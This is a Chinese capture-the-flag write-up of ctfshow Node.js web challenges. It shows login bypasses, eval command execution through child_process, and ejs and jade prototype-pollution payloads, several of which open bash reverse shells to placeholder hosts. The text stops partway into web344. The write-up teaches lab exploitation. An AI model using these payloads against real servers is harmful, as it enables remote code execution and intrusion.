ctfshow-WEB入门-Part4-wp

WEB入门

13、nodejs

web334:参数绕过

下载附件得到源码,开始审计

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
   
  return users.find(function(item){
   
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
   
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
   
    req.session.regenerate(function(err) {
   
      if(err){
   
        return res.json({
   ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({
   ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
   
    res.json({
   ret_code: 1, ret_msg: '账号或密码错误'});
  }  
});

module.exports = router;

user.js

module.exports = {
   
  items: [
    {
   username: 'CTFSHOW', password: '123456'}
  ]
};

findUser函数判断了三个条件,第一个对用户名进行全类型比较,需要不等于CTFSHOW,第二个需要用户名在转为大写之后等于CTFSHOW,第三个是判断密码是否正确,在user.js中提供了账号密码

解法一:大小写绕过

发送一个大小写的用户名

username=CTFshow&password=123456

解法二:JS特性

参考资料:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

字符"ı""ſ" 经过toUpperCase()处理后结果为 "I""S"
字符"K"经过toLowerCase()处理后结果为"k"(这个K不是K)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过

故可以构造payload

ctfſhow 123456

web335:rce

一道node.js的RCE

查看源码,发现提示: /?eval=

先随便传一个数字进去,发现它回显了出来,但是输入字母的时候,就显示404 找不到文件,说明这里应该执行了我们输入的内容,这里的代码可能是eval('console.log(xxx)')

eval可以执行js代码,那我们就可以利用js代码去进行RCE

利用child_process模块执行命令

利用child_process包来构造payload,这是node.js中用来执行系统命令的一个包,其中有多个方法可以用来利用

//execSync
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('ls').toString();
//spawnSync
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
//IIFE(立即调用函数表达式),js在遇到它之后会立即执行函数
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');

利用fs模块去读文件

fs模块就是nodejs中一个文件操作模块,可以对文件进行删除增加写入读取操作

/?eval=require('fs').readdirSync('.') // 查看当前目录
/?eval=require('fs').readFileSync('fl00g.txt') //读取文件

利用拼接绕过命令执行

'+' 要urlencode一下
?eval=var a="require('child_process').ex";var b="ecSync('ls').toString();";eval(a%2Bb); 
?eval=require('child_process')['ex'%2B'ecSync']('cat f*')

web336:rce

过滤了exec,可以使用spawn或者是读文件同web335一样

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()
/?eval=require("child_process")['exe'%2B'cSync']('ls')

web337:md5比较

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
   
  return crypto.createHash('md5')
      .update(s)
      .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
   
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
   
    res.end(flag);
  }else{
   
    res.render('index',{
    msg: 'tql'});
  }

});

module.exports = router;

需要传入a和b,它们值互不相同,但是长度相同,并且md5(a+flag)===md5(b+flag)

payload:

a[x]=1&b[x]=2
b[]=1&a[]=1

注意:中括号里是数字就不行,如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx},md5就不一样了

web338:ejs原型污染

参考资料:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

var o = {
   a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
   
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

原型链污染原理

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

app.js

var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');

导入了ejs模板渲染引擎,这个东西经常出现原型污染问题,而且大多都是利用原型污染来RCE,代码审计,先看login路由

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  var flag='flag_here';
  var secert = {
   };
  var sess = req.session;
  let user = {
   };
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
   
    res.end(flag);
  }else{
   
    return res.json({
   ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

可以看到flag就在这里,要想获得flag,就必须要使secert.ctfshow等于36dboy,当看完上面的文章,再看这里结果已经已经不言而喻了,就是利用原型污染给secret的原型添加一个属性名为ctfshow值为36dboy,这样就符合条件得到flag

login.js代码中存在一个copy功能utils.copy(user,req.body);utils.copy就类似于merge函数,存在原型污染

构造payload:

POST /login HTTP/1.1
Host: 7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 66
Origin: http://7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080
Connection: close
Referer: http://7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080/
Cookie: UM_distinctid=177b92aaa18d3-0b2755ebda89a58-4c3f217f-fa000-177b92aaa19337
Pragma: no-cache
Cache-Control: no-cache

{"username":"aa","password":"bb","__proto__":{"ctfshow":"36dboy"}}

web339:ejs原型污染rce

login.js

router.post('/', require('body-parser').json(), function (req, res, next) {
   
    res.type('html');
    var flag = 'flag_here';
    var secert = {
   };
    var sess = req.session;
    let user = {
   };
    utils.copy(user, req.body);
    if (secert.ctfshow === flag) {
   
        res.end(flag);
    } else {
   
        return res.json({
   ret_code: 2, ret_msg: '登录失败' + JSON.stringify(user)});
    }
});

需要secret的值和flag值一样,flag是字符串类型,而且整个代码中,flag并没有参与任何操作,所以这个点已经不能利用了

在api.js中

router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  res.render('api', {
    query: Function(query)(query)});
});

Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点。

**预期解:**变量覆盖污染query参数

function copy(object1, object2){
   
    for (let key in object2) {
   
        if (key in object2 && key in object1) {
   
            copy(object1[key], object2[key])
        } else {
   
            object1[key] = object2[key]
        }
    }
}
var user ={
   }
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query); //return 123

成功将query参数污染

payload

{
   "__proto__":{
   "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"}}

将payload以POST发送到/api,反弹shell

在这里插入图片描述

非预期解:

ejs rce具体的来看下这篇文章https://xz.aliyun.com/t/7075

{
   "__proto__":{
   "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/22222 0>&1\"');var __tmp2"}}

接着post访问login就可以反弹shell了

POST /login HTTP/1.1
Host: 26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 171
Origin: http://26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080
Connection: close
Referer: http://26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080/
Cookie: UM_distinctid=17a044a3e0e161-09f115c9570c0e-4c3f2d73-190e59-17a044a3e0f58d
Pragma: no-cache
Cache-Control: no-cache

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxxxx/22222 0>&1\"');var __tmp2"}}

web340:ejs两层原型污染rce

跟上题没有太大区别,只不过需要向上污染两级

login.js

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  var flag='flag_here';
  var user = new function(){
   
    this.userinfo = new function(){
    // 向上两层
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   
   res.end(flag);
  }else{
   
   return res.json({
   ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

user.userinfo第一层是函数Function,再向上一层是Object对象

function copy(object1, object2){
   
    for (let key in object2) {
   
        if (key in object2 && key in object1) {
   
            copy(object1[key], object2[key])
        } else {
   
            object1[key] = object2[key]
        }
    }
}
var user = new function(){
   
    this.userinfo = new function(){
    // 向上两层
        this.isVIP = false;
        this.isAdmin = false;
        this.isAuthor = false;
    };
}

body=JSON.parse('{"__proto__": {"__proto__":{"query":"return 123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo); //{ isVIP: false, isAdmin: false, isAuthor: false }
console.log(user.query); //return 123

Payload

污染query参数

{
   
  "__proto__": {
   
    "__proto__": {
   
      "query": "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"')"
    }
  }
}

ejs原型污染rce

{
   
  "__proto__": {
   
    "__proto__": {
   
      "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
    }
  }
}

POST发送后,访问api路由触发原型污染

web341:ejs两层原型污染rce

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  var user = new function(){
   
    this.userinfo = new function(){
   
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   
    return res.json({
   ret_code: 0, ret_msg: '登录成功'});  
  }else{
   
    return res.json({
   ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

还是二层污染rce,这题没有了api.js,二层污染query参数就不能使用了,那就是用ejsrce的原型污染payload

{
   
  "__proto__": {
   
    "__proto__": {
   
      "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
    }
  }
}

POST发送后,访问任意一个页面触发payload

web342:jade原型链污染

参考资料:https://xz.aliyun.com/t/7025

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
   
  res.type('html');
  var user = new function(){
   
    this.userinfo = new function(){
   
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   
    return res.json({
   ret_code: 0, ret_msg: '登录成功'});  
  }else{
   
    return res.json({
   ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

payload

{
   
  "__proto__": {
   
    "__proto__": {
   
      "type": "Block",
      "nodes": "",
      "compileDebug": 1,
      "self": 1,
      "line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"
    }
  }
}

这里要往/login页面发一个json格式的POST请求,最后再随便浏览页面即可触发

在用burp发送之前要把请求头中的“Content-Type”改为"application/json"

发送后,访问任意一个页面触发payload

web343

同上一题

web344:nodejs特性

router.get('/', function(req, res, next) {
   
    res.type('html');
    var flag = 'flag_here';
    if(req.
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值